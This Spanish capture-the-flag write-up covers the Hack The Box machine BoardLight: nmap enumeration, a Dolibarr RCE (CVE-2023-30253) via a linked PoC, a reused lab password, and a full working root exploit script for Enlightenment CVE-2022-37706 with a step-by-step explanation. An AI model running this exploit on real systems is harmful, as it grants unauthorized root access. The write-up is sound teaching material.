BoardLight

Sistema operativo | Dificultad | Fecha de Lanzamiento | Creador |
---|---|---|---|
Linux | Easy | 25 Mayo 2024 | cY83rR0H1t |
Enumeración inicial
Realizamos un escaneo con nmap
para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.
nmap -sS -p- --open --min-rate 5000 -Pn -n -vvv 10.10.11.11 -oG open_ports
Lanzamos una serie de script básicos de enumeración propios de nmap
, para conocer la versión y servicio que esta corriendo bajo los puertos.
nmap -sCV -p <IP> -oN services_scan -vvv
Explotación inicial
echo "10.10.11.11 board.htb" >> /etc/hosts
CVE-2023-30253
Dolibarr before 17.0.1 allows remote code execution by an authenticated user via an uppercase manipulation: <?PHP instead of <?php in injected data.
https://github.com/Rubikcuv5/cve-2023-30253?tab=readme-ov-file
PoC
Enumeración / Movimiento lateral
larissa:serverfun2$2023!!
Reutilización de contraseñas.
Obtenemos la flag de user.
Elevación de privilegios
Enlightenment es un entorno de escritorio ligero y flexible para sistemas Linux y Unix. Inicialmente comenzó como un gestor de ventanas en 1997, pero ha evolucionado hasta convertirse en un entorno completo que incluye un conjunto de bibliotecas llamado Enlightenment Foundation Libraries (EFL). Este entorno es conocido por su bajo consumo de recursos y su diseño gráfico elegante, con efectos visuales y animaciones suaves.
Existe una vulnerabilidad para la version 0.23 con el codigo CVE-2022–37706 y resulta que existe un exploit para explotar esta vulnerabilidad.
Si buscamos en google CVE-2022–37706 encontramos un expoit en github.
https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit
La vulnerabilidad CVE-2022-37706 en Enlightenment se relaciona con un problema de path traversal en el gestor de ventanas. Este fallo permite que un atacante local eluda restricciones de seguridad y acceda a archivos arbitrarios en el sistema.
El problema reside en que el código de Enlightenment no maneja correctamente las rutas de los archivos, lo que permite utilizar secuencias como ../
(path traversal) para acceder a archivos fuera del directorio previsto. Si un atacante puede explotar esta vulnerabilidad, podría leer o modificar archivos del sistema, lo que representa un riesgo de escalada de privilegios o filtración de información sensible.
Impacto:
- Acceso no autorizado a archivos fuera de los límites esperados.
- Potencial escalada de privilegios si se manipulan archivos sensibles.
Solución:
Actualizar a una versión corregida de Enlightenment que cierre el vector de ataque asegurando la validación adecuada de las rutas de los archivos.
#!/bin/bash
echo "CVE-2022-37706"
echo "[*] Trying to find the vulnerable SUID file..."
echo "[*] This may take few seconds..."
file=$(find / -name enlightenment_sys -perm -4000 2>/dev/null | head -1)
if [[ -z ${file} ]]
then
echo "[-] Couldn't find the vulnerable SUID file..."
echo "[*] Enlightenment should be installed on your system."
exit 1
fi
echo "[+] Vulnerable SUID binary found!"
echo "[+] Trying to pop a root shell!"
mkdir -p /tmp/net
mkdir -p "/dev/../tmp/;/tmp/exploit"
echo "/bin/sh" > /tmp/exploit
chmod a+x /tmp/exploit
echo "[+] Enjoy the root shell :)"
${file} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/exploit" /tmp///net
Este exploit aprovecha la vulnerabilidad CVE-2022-37706 en un archivo binario con el bit SUID activado, lo que significa que se ejecuta con privilegios de root. Aquí te explico cómo funciona el script:
Explicación paso a paso:
- Buscar el archivo SUID vulnerable:
bash file=$(find / -name enlightenment_sys -perm -4000 2>/dev/null | head -1)
Se busca un archivo llamado enlightenment_sys
que tenga el bit SUID activado (permisos -4000
), lo cual le permitiría ejecutarse con privilegios de root. Si no se encuentra, el script termina.
- Crear directorios necesarios:
bash mkdir -p /tmp/net mkdir -p "/dev/../tmp/;/tmp/exploit"
Se crean dos directorios:
- /tmp/net
: un directorio normal donde se intentará montar el sistema de archivos.
- /dev/../tmp/;/tmp/exploit
: el directorio que aprovecha la vulnerabilidad path traversal. El uso de ../
permite escapar del directorio /dev
y escribir en /tmp
, donde se colocará el exploit.
-
Escribir un shell en
/tmp/exploit
:bash echo "/bin/sh" > /tmp/exploit chmod a+x /tmp/exploit
Aquí se crea un archivo ejecutable llamadoexploit
que contiene un shell (/bin/sh
), permitiendo obtener acceso a una shell de root. -
Ejecutar el binario vulnerable con parámetros maliciosos:
bash ${file} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/exploit" /tmp///net
El binario vulnerable se ejecuta con el comandomount
, utilizando una combinación de opciones inofensivas (comonoexec
,nosuid
) y un path traversal (/dev/../tmp/;/tmp/exploit
). Esta secuencia le permite escapar del directorio previsto y ejecutar el archivo/tmp/exploit
, que contiene el shell. -
Resultado: El exploit abre una shell con privilegios de root, ya que el binario vulnerable se ejecuta con el bit SUID, y la ejecución del archivo en
/tmp/exploit
proporciona acceso completo al sistema.
En resumen:
El exploit usa un path traversal (/dev/../tmp/;/tmp/exploit
) para ejecutar un shell con privilegios de root aprovechando un binario SUID vulnerable en Enlightenment.
Leemos la flag de root.